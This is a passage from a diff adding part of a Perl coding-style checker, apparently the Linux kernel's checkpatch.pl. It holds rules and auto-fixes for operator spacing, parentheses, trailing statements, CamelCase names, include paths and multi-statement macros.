+				# none after.  May be left adjacent to another
+				# unary operator, or a cast
+				} elsif ($op eq '!' || $op eq '~' ||
+					 $opv eq '*U' || $opv eq '-U' ||
+					 $opv eq '&U' || $opv eq '&&U') {
+					if ($ctx !~ /[WEBC]x./ && $ca !~ /(?:\)|!|~|\*|-|\&|\||\+\+|\-\-|\{)$/) {
+						if (ERROR("SPACING",
+							  "space required before that '$op' $at\n" . $hereptr)) {
+							if ($n != $last_after + 2) {
+								$good = $fix_elements[$n] . " " . ltrim($fix_elements[$n + 1]);
+								$line_fixed = 1;
+							}
+						}
+					}
+					if ($op eq '*' && $cc =~/\s*$Modifier\b/) {
+						# A unary '*' may be const
+
+					} elsif ($ctx =~ /.xW/) {
+						if (ERROR("SPACING",
+							  "space prohibited after that '$op' $at\n" . $hereptr)) {
+							$good = $fix_elements[$n] . rtrim($fix_elements[$n + 1]);
+							if (defined $fix_elements[$n + 2]) {
+								$fix_elements[$n + 2] =~ s/^\s+//;
+							}
+							$line_fixed = 1;
+						}
+					}
+
+				# unary ++ and unary -- are allowed no space on one side.
+				} elsif ($op eq '++' or $op eq '--') {
+					if ($ctx !~ /[WEOBC]x[^W]/ && $ctx !~ /[^W]x[WOBEC]/) {
+						if (ERROR("SPACING",
+							  "space required one side of that '$op' $at\n" . $hereptr)) {
+							$good = $fix_elements[$n] . trim($fix_elements[$n + 1]) . " ";
+							$line_fixed = 1;
+						}
+					}
+					if ($ctx =~ /Wx[BE]/ ||
+					    ($ctx =~ /Wx./ && $cc =~ /^;/)) {
+						if (ERROR("SPACING",
+							  "space prohibited before that '$op' $at\n" . $hereptr)) {
+							$good = rtrim($fix_elements[$n]) . trim($fix_elements[$n + 1]);
+							$line_fixed = 1;
+						}
+					}
+					if ($ctx =~ /ExW/) {
+						if (ERROR("SPACING",
+							  "space prohibited after that '$op' $at\n" . $hereptr)) {
+							$good = $fix_elements[$n] . trim($fix_elements[$n + 1]);
+							if (defined $fix_elements[$n + 2]) {
+								$fix_elements[$n + 2] =~ s/^\s+//;
+							}
+							$line_fixed = 1;
+						}
+					}
+
+				# << and >> may either have or not have spaces both sides
+				} elsif ($op eq '<<' or $op eq '>>' or
+					 $op eq '&' or $op eq '^' or $op eq '|' or
+					 $op eq '+' or $op eq '-' or
+					 $op eq '*' or $op eq '/' or
+					 $op eq '%')
+				{
+					if ($check) {
+						if (defined $fix_elements[$n + 2] && $ctx !~ /[EW]x[EW]/) {
+							if (CHK("SPACING",
+								"spaces preferred around that '$op' $at\n" . $hereptr)) {
+								$good = rtrim($fix_elements[$n]) . " " . trim($fix_elements[$n + 1]) . " ";
+								$fix_elements[$n + 2] =~ s/^\s+//;
+								$line_fixed = 1;
+							}
+						} elsif (!defined $fix_elements[$n + 2] && $ctx !~ /Wx[OE]/) {
+							if (CHK("SPACING",
+								"space preferred before that '$op' $at\n" . $hereptr)) {
+								$good = rtrim($fix_elements[$n]) . " " . trim($fix_elements[$n + 1]);
+								$line_fixed = 1;
+							}
+						}
+					} elsif ($ctx =~ /Wx[^WCE]|[^WCE]xW/) {
+						if (ERROR("SPACING",
+							  "need consistent spacing around '$op' $at\n" . $hereptr)) {
+							$good = rtrim($fix_elements[$n]) . " " . trim($fix_elements[$n + 1]) . " ";
+							if (defined $fix_elements[$n + 2]) {
+								$fix_elements[$n + 2] =~ s/^\s+//;
+							}
+							$line_fixed = 1;
+						}
+					}
+
+				# A colon needs no spaces before when it is
+				# terminating a case value or a label.
+				} elsif ($opv eq ':C' || $opv eq ':L') {
+					if ($ctx =~ /Wx./ and $realfile !~ m@.*\.lds\.h$@) {
+						if (ERROR("SPACING",
+							  "space prohibited before that '$op' $at\n" . $hereptr)) {
+							$good = rtrim($fix_elements[$n]) . trim($fix_elements[$n + 1]);
+							$line_fixed = 1;
+						}
+					}
+
+				# All the others need spaces both sides.
+				} elsif ($ctx !~ /[EWC]x[CWE]/) {
+					my $ok = 0;
+
+					# Ignore email addresses <foo@bar>
+					if (($op eq '<' &&
+					     $cc =~ /^\S+\@\S+>/) ||
+					    ($op eq '>' &&
+					     $ca =~ /<\S+\@\S+$/))
+					{
+						$ok = 1;
+					}
+
+					# for asm volatile statements
+					# ignore a colon with another
+					# colon immediately before or after
+					if (($op eq ':') &&
+					    ($ca =~ /:$/ || $cc =~ /^:/)) {
+						$ok = 1;
+					}
+
+					# messages are ERROR, but ?: are CHK
+					if ($ok == 0) {
+						my $msg_level = \&ERROR;
+						$msg_level = \&CHK if (($op eq '?:' || $op eq '?' || $op eq ':') && $ctx =~ /VxV/);
+
+						if (&{$msg_level}("SPACING",
+								  "spaces required around that '$op' $at\n" . $hereptr)) {
+							$good = rtrim($fix_elements[$n]) . " " . trim($fix_elements[$n + 1]) . " ";
+							if (defined $fix_elements[$n + 2]) {
+								$fix_elements[$n + 2] =~ s/^\s+//;
+							}
+							$line_fixed = 1;
+						}
+					}
+				}
+				$off += length($elements[$n + 1]);
+
+##				print("n: <$n> GOOD: <$good>\n");
+
+				$fixed_line = $fixed_line . $good;
+			}
+
+			if (($#elements % 2) == 0) {
+				$fixed_line = $fixed_line . $fix_elements[$#elements];
+			}
+
+			if ($fix && $line_fixed && $fixed_line ne $fixed[$fixlinenr]) {
+				$fixed[$fixlinenr] = $fixed_line;
+			}
+
+
+		}
+
+# check for whitespace before a non-naked semicolon
+		if ($line =~ /^\+.*\S\s+;\s*$/) {
+			if (WARN("SPACING",
+				 "space prohibited before semicolon\n" . $herecurr) &&
+			    $fix) {
+				1 while $fixed[$fixlinenr] =~
+				    s/^(\+.*\S)\s+;/$1;/;
+			}
+		}
+
+# check for multiple assignments
+		if ($line =~ /^.\s*$Lval\s*=\s*$Lval\s*=(?!=)/) {
+			CHK("MULTIPLE_ASSIGNMENTS",
+			    "multiple assignments should be avoided\n" . $herecurr);
+		}
+
+## # check for multiple declarations, allowing for a function declaration
+## # continuation.
+## 		if ($line =~ /^.\s*$Type\s+$Ident(?:\s*=[^,{]*)?\s*,\s*$Ident.*/ &&
+## 		    $line !~ /^.\s*$Type\s+$Ident(?:\s*=[^,{]*)?\s*,\s*$Type\s*$Ident.*/) {
+##
+## 			# Remove any bracketed sections to ensure we do not
+## 			# falsely report the parameters of functions.
+## 			my $ln = $line;
+## 			while ($ln =~ s/\([^\(\)]*\)//g) {
+## 			}
+## 			if ($ln =~ /,/) {
+## 				WARN("MULTIPLE_DECLARATION",
+##				     "declaring multiple variables together should be avoided\n" . $herecurr);
+## 			}
+## 		}
+
+#need space before brace following if, while, etc
+		if (($line =~ /\(.*\)\{/ && $line !~ /\($Type\)\{/) ||
+		    $line =~ /\b(?:else|do)\{/) {
+			if (ERROR("SPACING",
+				  "space required before the open brace '{'\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/^(\+.*(?:do|else|\)))\{/$1 {/;
+			}
+		}
+
+## # check for blank lines before declarations
+##		if ($line =~ /^.\t+$Type\s+$Ident(?:\s*=.*)?;/ &&
+##		    $prevrawline =~ /^.\s*$/) {
+##			WARN("SPACING",
+##			     "No blank lines before declarations\n" . $hereprev);
+##		}
+##
+
+# closing brace should have a space following it when it has anything
+# on the line
+		if ($line =~ /}(?!(?:,|;|\)|\}))\S/) {
+			if (ERROR("SPACING",
+				  "space required after that close brace '}'\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/}((?!(?:,|;|\)))\S)/} $1/;
+			}
+		}
+
+# check spacing on square brackets
+		if ($line =~ /\[\s/ && $line !~ /\[\s*$/) {
+			if (ERROR("SPACING",
+				  "space prohibited after that open square bracket '['\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/\[\s+/\[/;
+			}
+		}
+		if ($line =~ /\s\]/) {
+			if (ERROR("SPACING",
+				  "space prohibited before that close square bracket ']'\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/\s+\]/\]/;
+			}
+		}
+
+# check spacing on parentheses
+		if ($line =~ /\(\s/ && $line !~ /\(\s*(?:\\)?$/ &&
+		    $line !~ /for\s*\(\s+;/) {
+			if (ERROR("SPACING",
+				  "space prohibited after that open parenthesis '('\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/\(\s+/\(/;
+			}
+		}
+		if ($line =~ /(\s+)\)/ && $line !~ /^.\s*\)/ &&
+		    $line !~ /for\s*\(.*;\s+\)/ &&
+		    $line !~ /:\s+\)/) {
+			if (ERROR("SPACING",
+				  "space prohibited before that close parenthesis ')'\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/\s+\)/\)/;
+			}
+		}
+
+# check unnecessary parentheses around addressof/dereference single $Lvals
+# ie: &(foo->bar) should be &foo->bar and *(foo->bar) should be *foo->bar
+
+		while ($line =~ /(?:[^&]&\s*|\*)\(\s*($Ident\s*(?:$Member\s*)+)\s*\)/g) {
+			my $var = $1;
+			if (CHK("UNNECESSARY_PARENTHESES",
+				"Unnecessary parentheses around $var\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\(\s*\Q$var\E\s*\)/$var/;
+			}
+		}
+
+# check for unnecessary parentheses around function pointer uses
+# ie: (foo->bar)(); should be foo->bar();
+# but not "if (foo->bar) (" to avoid some false positives
+		if ($line =~ /(\bif\s*|)(\(\s*$Ident\s*(?:$Member\s*)+\))[ \t]*\(/ && $1 !~ /^if/) {
+			my $var = $2;
+			if (CHK("UNNECESSARY_PARENTHESES",
+				"Unnecessary parentheses around function pointer $var\n" . $herecurr) &&
+			    $fix) {
+				my $var2 = deparenthesize($var);
+				$var2 =~ s/\s//g;
+				$fixed[$fixlinenr] =~ s/\Q$var\E/$var2/;
+			}
+		}
+
+# check for unnecessary parentheses around comparisons in if uses
+# when !drivers/staging or command-line uses --strict
+		if (($realfile !~ m@^(?:drivers/staging/)@ || $check_orig) &&
+		    $perl_version_ok && defined($stat) &&
+		    $stat =~ /(^.\s*if\s*($balanced_parens))/) {
+			my $if_stat = $1;
+			my $test = substr($2, 1, -1);
+			my $herectx;
+			while ($test =~ /(?:^|[^\w\&\!\~])+\s*\(\s*([\&\!\~]?\s*$Lval\s*(?:$Compare\s*$FuncArg)?)\s*\)/g) {
+				my $match = $1;
+				# avoid parentheses around potential macro args
+				next if ($match =~ /^\s*\w+\s*$/);
+				if (!defined($herectx)) {
+					$herectx = $here . "\n";
+					my $cnt = statement_rawlines($if_stat);
+					for (my $n = 0; $n < $cnt; $n++) {
+						my $rl = raw_line($linenr, $n);
+						$herectx .=  $rl . "\n";
+						last if $rl =~ /^[ \+].*\{/;
+					}
+				}
+				CHK("UNNECESSARY_PARENTHESES",
+				    "Unnecessary parentheses around '$match'\n" . $herectx);
+			}
+		}
+
+# check that goto labels aren't indented (allow a single space indentation)
+# and ignore bitfield definitions like foo:1
+# Strictly, labels can have whitespace after the identifier and before the :
+# but this is not allowed here as many ?: uses would appear to be labels
+		if ($sline =~ /^.\s+[A-Za-z_][A-Za-z\d_]*:(?!\s*\d+)/ &&
+		    $sline !~ /^. [A-Za-z\d_][A-Za-z\d_]*:/ &&
+		    $sline !~ /^.\s+default:/) {
+			if (WARN("INDENTED_LABEL",
+				 "labels should not be indented\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/^(.)\s+/$1/;
+			}
+		}
+
+# check if a statement with a comma should be two statements like:
+#	foo = bar(),	/* comma should be semicolon */
+#	bar = baz();
+		if (defined($stat) &&
+		    $stat =~ /^\+\s*(?:$Lval\s*$Assignment\s*)?$FuncArg\s*,\s*(?:$Lval\s*$Assignment\s*)?$FuncArg\s*;\s*$/) {
+			my $cnt = statement_rawlines($stat);
+			my $herectx = get_stat_here($linenr, $cnt, $here);
+			WARN("SUSPECT_COMMA_SEMICOLON",
+			     "Possible comma where semicolon could be used\n" . $herectx);
+		}
+
+# return is not a function
+		if (defined($stat) && $stat =~ /^.\s*return(\s*)\(/s) {
+			my $spacing = $1;
+			if ($perl_version_ok &&
+			    $stat =~ /^.\s*return\s*($balanced_parens)\s*;\s*$/) {
+				my $value = $1;
+				$value = deparenthesize($value);
+				if ($value =~ m/^\s*$FuncArg\s*(?:\?|$)/) {
+					ERROR("RETURN_PARENTHESES",
+					      "return is not a function, parentheses are not required\n" . $herecurr);
+				}
+			} elsif ($spacing !~ /\s+/) {
+				ERROR("SPACING",
+				      "space required before the open parenthesis '('\n" . $herecurr);
+			}
+		}
+
+# unnecessary return in a void function
+# at end-of-function, with the previous line a single leading tab, then return;
+# and the line before that not a goto label target like "out:"
+		if ($sline =~ /^[ \+]}\s*$/ &&
+		    $prevline =~ /^\+\treturn\s*;\s*$/ &&
+		    $linenr >= 3 &&
+		    $lines[$linenr - 3] =~ /^[ +]/ &&
+		    $lines[$linenr - 3] !~ /^[ +]\s*$Ident\s*:/) {
+			WARN("RETURN_VOID",
+			     "void function return statements are not generally useful\n" . $hereprev);
+		}
+
+# if statements using unnecessary parentheses - ie: if ((foo == bar))
+		if ($perl_version_ok &&
+		    $line =~ /\bif\s*((?:\(\s*){2,})/) {
+			my $openparens = $1;
+			my $count = $openparens =~ tr@\(@\(@;
+			my $msg = "";
+			if ($line =~ /\bif\s*(?:\(\s*){$count,$count}$LvalOrFunc\s*($Compare)\s*$LvalOrFunc(?:\s*\)){$count,$count}/) {
+				my $comp = $4;	#Not $1 because of $LvalOrFunc
+				$msg = " - maybe == should be = ?" if ($comp eq "==");
+				WARN("UNNECESSARY_PARENTHESES",
+				     "Unnecessary parentheses$msg\n" . $herecurr);
+			}
+		}
+
+# comparisons with a constant or upper case identifier on the left
+#	avoid cases like "foo + BAR < baz"
+#	only fix matches surrounded by parentheses to avoid incorrect
+#	conversions like "FOO < baz() + 5" being "misfixed" to "baz() > FOO + 5"
+		if ($perl_version_ok &&
+		    $line =~ /^\+(.*)\b($Constant|[A-Z_][A-Z0-9_]*)\s*($Compare)\s*($LvalOrFunc)/) {
+			my $lead = $1;
+			my $const = $2;
+			my $comp = $3;
+			my $to = $4;
+			my $newcomp = $comp;
+
+			if ($const !~ /^\QTST_/ &&
+			    $lead !~ /(?:$Operators|\.)\s*$/ &&
+			    $to !~ /^(?:Constant|[A-Z_][A-Z0-9_]*)$/ &&
+			    WARN("CONSTANT_COMPARISON",
+				 "Comparisons should place the constant on the right side of the test\n" . $herecurr) &&
+			    $fix) {
+				if ($comp eq "<") {
+					$newcomp = ">";
+				} elsif ($comp eq "<=") {
+					$newcomp = ">=";
+				} elsif ($comp eq ">") {
+					$newcomp = "<";
+				} elsif ($comp eq ">=") {
+					$newcomp = "<=";
+				}
+				$fixed[$fixlinenr] =~ s/\(\s*\Q$const\E\s*$Compare\s*\Q$to\E\s*\)/($to $newcomp $const)/;
+			}
+		}
+
+# Return of what appears to be an errno should normally be negative
+		if ($sline =~ /\breturn(?:\s*\(+\s*|\s+)(E[A-Z]+)(?:\s*\)+\s*|\s*)[;:,]/) {
+			my $name = $1;
+			if ($name ne 'EOF' && $name ne 'ERROR' && $name !~ /^EPOLL/) {
+				WARN("USE_NEGATIVE_ERRNO",
+				     "return of an errno should typically be negative (ie: return -$1)\n" . $herecurr);
+			}
+		}
+
+# Need a space before open parenthesis after if, while etc
+		if ($line =~ /\b(if|while|for|switch)\(/) {
+			if (ERROR("SPACING",
+				  "space required before the open parenthesis '('\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/\b(if|while|for|switch)\(/$1 \(/;
+			}
+		}
+
+# Check for illegal assignment in if conditional -- and check for trailing
+# statements after the conditional.
+		if ($line =~ /do\s*(?!{)/) {
+			($stat, $cond, $line_nr_next, $remain_next, $off_next) =
+				ctx_statement_block($linenr, $realcnt, 0)
+					if (!defined $stat);
+			my ($stat_next) = ctx_statement_block($line_nr_next,
+						$remain_next, $off_next);
+			$stat_next =~ s/\n./\n /g;
+			##print "stat<$stat> stat_next<$stat_next>\n";
+
+			if ($stat_next =~ /^\s*while\b/) {
+				# If the statement carries leading newlines,
+				# then count those as offsets.
+				my ($whitespace) =
+					($stat_next =~ /^((?:\s*\n[+-])*\s*)/s);
+				my $offset =
+					statement_rawlines($whitespace) - 1;
+
+				$suppress_whiletrailers{$line_nr_next +
+								$offset} = 1;
+			}
+		}
+		if (!defined $suppress_whiletrailers{$linenr} &&
+		    defined($stat) && defined($cond) &&
+		    $line =~ /\b(?:if|while|for)\s*\(/ && $line !~ /^.\s*#/) {
+			my ($s, $c) = ($stat, $cond);
+
+			if ($c =~ /\bif\s*\(.*[^<>!=]=[^=].*/s) {
+				if (ERROR("ASSIGN_IN_IF",
+					  "do not use assignment in if condition\n" . $herecurr) &&
+				    $fix && $perl_version_ok) {
+					if ($rawline =~ /^\+(\s+)if\s*\(\s*(\!)?\s*\(\s*(($Lval)\s*=\s*$LvalOrFunc)\s*\)\s*(?:($Compare)\s*($FuncArg))?\s*\)\s*(\{)?\s*$/) {
+						my $space = $1;
+						my $not = $2;
+						my $statement = $3;
+						my $assigned = $4;
+						my $test = $8;
+						my $against = $9;
+						my $brace = $15;
+						fix_delete_line($fixlinenr, $rawline);
+						fix_insert_line($fixlinenr, "$space$statement;");
+						my $newline = "${space}if (";
+						$newline .= '!' if defined($not);
+						$newline .= '(' if (defined $not && defined($test) && defined($against));
+						$newline .= "$assigned";
+						$newline .= " $test $against" if (defined($test) && defined($against));
+						$newline .= ')' if (defined $not && defined($test) && defined($against));
+						$newline .= ')';
+						$newline .= " {" if (defined($brace));
+						fix_insert_line($fixlinenr + 1, $newline);
+					}
+				}
+			}
+
+			# Find out what is on the end of the line after the
+			# conditional.
+			substr($s, 0, length($c), '');
+			$s =~ s/\n.*//g;
+			$s =~ s/$;//g;	# Remove any comments
+			if (length($c) && $s !~ /^\s*{?\s*\\*\s*$/ &&
+			    $c !~ /}\s*while\s*/)
+			{
+				# Find out how long the conditional actually is.
+				my @newlines = ($c =~ /\n/gs);
+				my $cond_lines = 1 + $#newlines;
+				my $stat_real = '';
+
+				$stat_real = raw_line($linenr, $cond_lines)
+							. "\n" if ($cond_lines);
+				if (defined($stat_real) && $cond_lines > 1) {
+					$stat_real = "[...]\n$stat_real";
+				}
+
+				ERROR("TRAILING_STATEMENTS",
+				      "trailing statements should be on next line\n" . $herecurr . $stat_real);
+			}
+		}
+
+# Check for bitwise tests written as boolean
+		if ($line =~ /
+			(?:
+				(?:\[|\(|\&\&|\|\|)
+				\s*0[xX][0-9]+\s*
+				(?:\&\&|\|\|)
+			|
+				(?:\&\&|\|\|)
+				\s*0[xX][0-9]+\s*
+				(?:\&\&|\|\||\)|\])
+			)/x)
+		{
+			WARN("HEXADECIMAL_BOOLEAN_TEST",
+			     "boolean test with hexadecimal, perhaps just 1 \& or \|?\n" . $herecurr);
+		}
+
+# if and else should not have general statements after it
+		if ($line =~ /^.\s*(?:}\s*)?else\b(.*)/) {
+			my $s = $1;
+			$s =~ s/$;//g;	# Remove any comments
+			if ($s !~ /^\s*(?:\sif|(?:{|)\s*\\?\s*$)/) {
+				ERROR("TRAILING_STATEMENTS",
+				      "trailing statements should be on next line\n" . $herecurr);
+			}
+		}
+# if should not continue a brace
+		if ($line =~ /}\s*if\b/) {
+			ERROR("TRAILING_STATEMENTS",
+			      "trailing statements should be on next line (or did you mean 'else if'?)\n" .
+				$herecurr);
+		}
+# case and default should not have general statements after them
+		if ($line =~ /^.\s*(?:case\s*.*|default\s*):/g &&
+		    $line !~ /\G(?:
+			(?:\s*$;*)(?:\s*{)?(?:\s*$;*)(?:\s*\\)?\s*$|
+			\s*return\s+
+		    )/xg)
+		{
+			ERROR("TRAILING_STATEMENTS",
+			      "trailing statements should be on next line\n" . $herecurr);
+		}
+
+		# Check for }<nl>else {, these must be at the same
+		# indent level to be relevant to each other.
+		if ($prevline=~/}\s*$/ and $line=~/^.\s*else\s*/ &&
+		    $previndent == $indent) {
+			if (ERROR("ELSE_AFTER_BRACE",
+				  "else should follow close brace '}'\n" . $hereprev) &&
+			    $fix && $prevline =~ /^\+/ && $line =~ /^\+/) {
+				fix_delete_line($fixlinenr - 1, $prevrawline);
+				fix_delete_line($fixlinenr, $rawline);
+				my $fixedline = $prevrawline;
+				$fixedline =~ s/}\s*$//;
+				if ($fixedline !~ /^\+\s*$/) {
+					fix_insert_line($fixlinenr, $fixedline);
+				}
+				$fixedline = $rawline;
+				$fixedline =~ s/^(.\s*)else/$1} else/;
+				fix_insert_line($fixlinenr, $fixedline);
+			}
+		}
+
+		if ($prevline=~/}\s*$/ and $line=~/^.\s*while\s*/ &&
+		    $previndent == $indent) {
+			my ($s, $c) = ctx_statement_block($linenr, $realcnt, 0);
+
+			# Find out what is on the end of the line after the
+			# conditional.
+			substr($s, 0, length($c), '');
+			$s =~ s/\n.*//g;
+
+			if ($s =~ /^\s*;/) {
+				if (ERROR("WHILE_AFTER_BRACE",
+					  "while should follow close brace '}'\n" . $hereprev) &&
+				    $fix && $prevline =~ /^\+/ && $line =~ /^\+/) {
+					fix_delete_line($fixlinenr - 1, $prevrawline);
+					fix_delete_line($fixlinenr, $rawline);
+					my $fixedline = $prevrawline;
+					my $trailing = $rawline;
+					$trailing =~ s/^\+//;
+					$trailing = trim($trailing);
+					$fixedline =~ s/}\s*$/} $trailing/;
+					fix_insert_line($fixlinenr, $fixedline);
+				}
+			}
+		}
+
+#Specific variable tests
+		while ($line =~ m{($Constant|$Lval)}g) {
+			my $var = $1;
+
+#CamelCase
+			if ($var !~ /^$Constant$/ &&
+			    $var =~ /[A-Z][a-z]|[a-z][A-Z]/ &&
+#Ignore some autogenerated defines and enum values
+			    $var !~ /^(?:[A-Z]+_){1,5}[A-Z]{1,3}[a-z]/ &&
+#Ignore Page<foo> variants
+			    $var !~ /^(?:Clear|Set|TestClear|TestSet|)Page[A-Z]/ &&
+#Ignore SI style variants like nS, mV and dB
+#(ie: max_uV, regulator_min_uA_show, RANGE_mA_VALUE)
+			    $var !~ /^(?:[a-z0-9_]*|[A-Z0-9_]*)?_?[a-z][A-Z](?:_[a-z0-9_]+|_[A-Z0-9_]+)?$/ &&
+#Ignore some three character SI units explicitly, like MiB and KHz
+			    $var !~ /^(?:[a-z_]*?)_?(?:[KMGT]iB|[KMGT]?Hz)(?:_[a-z_]+)?$/) {
+				while ($var =~ m{($Ident)}g) {
+					my $word = $1;
+					next if ($word !~ /[A-Z][a-z]|[a-z][A-Z]/);
+					if ($check) {
+						seed_camelcase_includes();
+						if (!$file && !$camelcase_file_seeded) {
+							seed_camelcase_file($realfile);
+							$camelcase_file_seeded = 1;
+						}
+					}
+					if (!defined $camelcase{$word}) {
+						$camelcase{$word} = 1;
+						CHK("CAMELCASE",
+						    "Avoid CamelCase: <$word>\n" . $herecurr);
+					}
+				}
+			}
+		}
+
+#no spaces allowed after \ in define
+		if ($line =~ /\#\s*define.*\\\s+$/) {
+			if (WARN("WHITESPACE_AFTER_LINE_CONTINUATION",
+				 "Whitespace after \\ makes next lines useless\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/\s+$//;
+			}
+		}
+
+# warn if <asm/foo.h> is #included and <linux/foo.h> is available and includes
+# itself <asm/foo.h> (uses RAW line)
+		if ($tree && $rawline =~ m{^.\s*\#\s*include\s*\<asm\/(.*)\.h\>}) {
+			my $file = "$1.h";
+			my $checkfile = "include/linux/$file";
+			if (-f "$root/$checkfile" &&
+			    $realfile ne $checkfile &&
+			    $1 !~ /$allowed_asm_includes/)
+			{
+				my $asminclude = `grep -Ec "#include\\s+<asm/$file>" $root/$checkfile`;
+				if ($asminclude > 0) {
+					if ($realfile =~ m{^arch/}) {
+						CHK("ARCH_INCLUDE_LINUX",
+						    "Consider using #include <linux/$file> instead of <asm/$file>\n" . $herecurr);
+					} else {
+						WARN("INCLUDE_LINUX",
+						     "Use #include <linux/$file> instead of <asm/$file>\n" . $herecurr);
+					}
+				}
+			}
+		}
+
+# multi-statement macros should be enclosed in a do while loop, grab the
+# first statement and ensure its the whole macro if its not enclosed
+# in a known good container
+		if ($realfile !~ m@/vmlinux.lds.h$@ &&
+		    $line =~ /^.\s*\#\s*define\s*$Ident(\()?/) {
+			my $ln = $linenr;
+			my $cnt = $realcnt;
+			my ($off, $dstat, $dcond, $rest);
+			my $ctx = '';
+			my $has_flow_statement = 0;
+			my $has_arg_concat = 0;
+			($dstat, $dcond, $ln, $cnt, $off) =
+				ctx_statement_block($linenr, $realcnt, 0);
+			$ctx = $dstat;
+			#print "dstat<$dstat> dcond<$dcond> cnt<$cnt> off<$off>\n";
+			#print "LINE<$lines[$ln-1]> len<" . length($lines[$ln-1]) . "\n";
+
+			$has_flow_statement = 1 if ($ctx =~ /\b(goto|return)\b/);
+			$has_arg_concat = 1 if ($ctx =~ /\#\#/ && $ctx !~ /\#\#\s*(?:__VA_ARGS__|args)\b/);
+
+			$dstat =~ s/^.\s*\#\s*define\s+$Ident(\([^\)]*\))?\s*//;
+			my $define_args = $1;
+			my $define_stmt = $dstat;
+			my @def_args = ();
+
+			if (defined $define_args && $define_args ne "") {
+				$define_args = substr($define_args, 1, length($define_args) - 2);
+				$define_args =~ s/\s*//g;
+				$define_args =~ s/\\\+?//g;
+				@def_args = split(",", $define_args);
+			}
+
+			$dstat =~ s/$;//g;
+			$dstat =~ s/\\\n.//g;
+			$dstat =~ s/^\s*//s;
+			$dstat =~ s/\s*$//s;
+
+			# Flatten any parentheses and braces
+			while ($dstat =~ s/\([^\(\)]*\)/1u/ ||
+			       $dstat =~ s/\{[^\{\}]*\}/1u/ ||
+			       $dstat =~ s/.\[[^\[\]]*\]/1u/)
+			{
+			}
+
+			# Flatten any obvious string concatenation.
+			while ($dstat =~ s/($String)\s*$Ident/$1/ ||
+			       $dstat =~ s/$Ident\s*($String)/$1/)
+			{
+			}
+
+			# Make asm volatile uses seem like a generic function
+			$dstat =~ s/\b_*asm_*\s+_*volatile_*\b/asm_volatile/g;
+
+			my $exceptions = qr{
+				$Declare|
+				module_param_named|
+				MODULE_PARM_DESC|
+				DECLARE_PER_CPU|
+				DEFINE_PER_CPU|
+				__typeof__\(|
+				union|
+				struct|
+				\.$Ident\s*=\s*|
+				^\"|\"$|
+				^\[
+			}x;
+			#print "REST<$rest> dstat<$dstat> ctx<$ctx>\n";
+
+			$ctx =~ s/\n*$//;
+			my $stmt_cnt = statement_rawlines($ctx);
+			my $herectx = get_stat_here($linenr, $stmt_cnt, $here);
+
+			if ($dstat ne '' &&
+			    $dstat !~ /^(?:$Ident|-?$Constant),$/ &&			# 10, // foo(),
+			    $dstat !~ /^(?:$Ident|-?$Constant);$/ &&			# foo();
+			    $dstat !~ /^[!~-]?(?:$Lval|$Constant)$/ &&		# 10 // foo() // !foo // ~foo // -foo // foo->bar // foo.bar->baz
+			    $dstat !~ /^'X'$/ && $dstat !~ /^'XX'$/ &&			# character constants
+			    $dstat !~ /$exceptions/ &&
+			    $dstat !~ /^\.$Ident\s*=/ &&				# .foo =
+			    $dstat !~ /^(?:\#\s*$Ident|\#\s*$Constant)\s*$/ &&		# stringification #foo
+			    $dstat !~ /^do\s*$Constant\s*while\s*$Constant;?$/ &&	# do {...} while (...); // do {...} while (...)
+			    $dstat !~ /^while\s*$Constant\s*$Constant\s*$/ &&		# while (...) {...}
+			    $dstat !~ /^for\s*$Constant$/ &&				# for (...)
+			    $dstat !~ /^for\s*$Constant\s+(?:$Ident|-?$Constant)$/ &&	# for (...) bar()
+			    $dstat !~ /^do\s*{/ &&					# do {...
+			    $dstat !~ /^\(\{/ &&						# ({...
+			    $ctx !~ /^.\s*#\s*define\s+TRACE_(?:SYSTEM|INCLUDE_FILE|INCLUDE_PATH)\b/)
+			{
+				if ($dstat =~ /^\s*if\b/) {
+					ERROR("MULTISTATEMENT_MACRO_USE_DO_WHILE",
+					      "Macros starting with if should be enclosed by a do - while loop to avoid possible if/else logic defects\n" . "$herectx");
+				} elsif ($dstat =~ /;/) {
+					ERROR("MULTISTATEMENT_MACRO_USE_DO_WHILE",
+					      "Macros with multiple statements should be enclosed in a do - while loop\n" . "$herectx");
+				} else {
+					ERROR("COMPLEX_MACRO",
+					      "Macros with complex values should be enclosed in parentheses\n" . "$herectx");
+				}
+
+			}
+
+			# Make $define_stmt single line, comment-free, etc
+			my @stmt_array = split('\n', $define_stmt);
+			my $first = 1;
+			$define_stmt = "";
+			foreach my $l (@stmt_array) {
+				$l =~ s/\\$//;
+				if ($first) {
+					$define_stmt = $l;
+					$first = 0;
+				} elsif ($l =~ /^[\+ ]/) {
+					$define_stmt .= substr($l, 1);
+				}
+			}
+			$define_stmt =~ s/$;//g;
+			$define_stmt =~ s/\s+/ /g;
+			$define_stmt = trim($define_stmt);
+
+# check if any macro arguments are reused (ignore '...' and 'type')
+			foreach my $arg (@def_args) {
+			        next if ($arg =~ /\.\.\./);
+			        next if ($arg =~ /^type$/i);
+				my $tmp_stmt = $define_stmt;
+				$tmp_stmt =~ s/\b(__must_be_array|offsetof|sizeof|sizeof_field|__stringify|typeof|__typeof__|__builtin\w+|typecheck\s*\(\s*$Type\s*,|\#+)\s*\(*\s*$arg\s*\)*\b//g;
+				$tmp_stmt =~ s/\#+\s*$arg\b//g;
+				$tmp_stmt =~ s/\b$arg\s*\#\#//g;
+				my $use_cnt = () = $tmp_stmt =~ /\b$arg\b/g;
+				if ($use_cnt > 1) {
+					CHK("MACRO_ARG_REUSE",
+					    "Macro argument reuse '$arg' - possible side-effects?\n" . "$herectx");
+				    }
+# check if any macro arguments may have other precedence issues
+				if ($tmp_stmt =~ m/($Operators)?\s*\b$arg\b\s*($Operators)?/m &&
+				    ((defined($1) && $1 ne ',') ||
+				     (defined($2) && $2 ne ','))) {
